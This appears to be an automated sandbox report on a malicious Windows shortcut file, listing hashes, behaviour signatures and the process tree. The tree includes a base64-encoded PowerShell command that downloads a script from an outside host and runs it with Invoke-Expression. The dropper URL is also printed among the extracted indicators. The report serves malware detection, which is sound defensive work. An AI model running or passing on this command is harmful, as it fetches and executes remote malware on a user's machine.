Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 01:01

General

  • Target

    IN___8M7I46QFXP.lnk

  • Size

    49KB

  • MD5

    20cc6087c66b064ef405e80cfcebc1f9

  • SHA1

    2baaab44a71080e2d927aa60ca9e693500e680e1

  • SHA256

    70b2c4a5ae788ed8b336168433216179685abbe15ae67075c3fedd9543e5edc9

  • SHA512

    75c30a793cfe7606819ad995863cd029a8f1f447b620c9ca5fb4aa4ed8e72fc261fadf6dd1e8de2cf4a9184a682e98e1bcdfd2c43f48621e8b4f3d3dfc85fdb0

  • SSDEEP

    1536:1sG8+TqLIkVUomiAsJqiB61mds57gK2k+:+FQqL3VUoZq1x57gDk+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://nes.cosmopeople.in/1zhy.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IN___8M7I46QFXP.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AbgBlAHMALgBjAG8AcwBtAG8AcABlAG8AcABsAGUALgBpAG4ALwAxAHoAaAB5AC4AdAB4AHQAJwApACAAfAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgA=
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5uzg31t.rgm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4688-11-0x000001BA6F2B0000-0x000001BA6F2D2000-memory.dmp

    Filesize

    136KB

  • memory/4688-12-0x00007FFBAD9C0000-0x00007FFBAE481000-memory.dmp

    Filesize

    10.8MB

  • memory/4688-14-0x000001BA6D120000-0x000001BA6D130000-memory.dmp

    Filesize

    64KB

  • memory/4688-13-0x000001BA6D120000-0x000001BA6D130000-memory.dmp

    Filesize

    64KB

  • memory/4688-17-0x00007FFBAD9C0000-0x00007FFBAE481000-memory.dmp

    Filesize

    10.8MB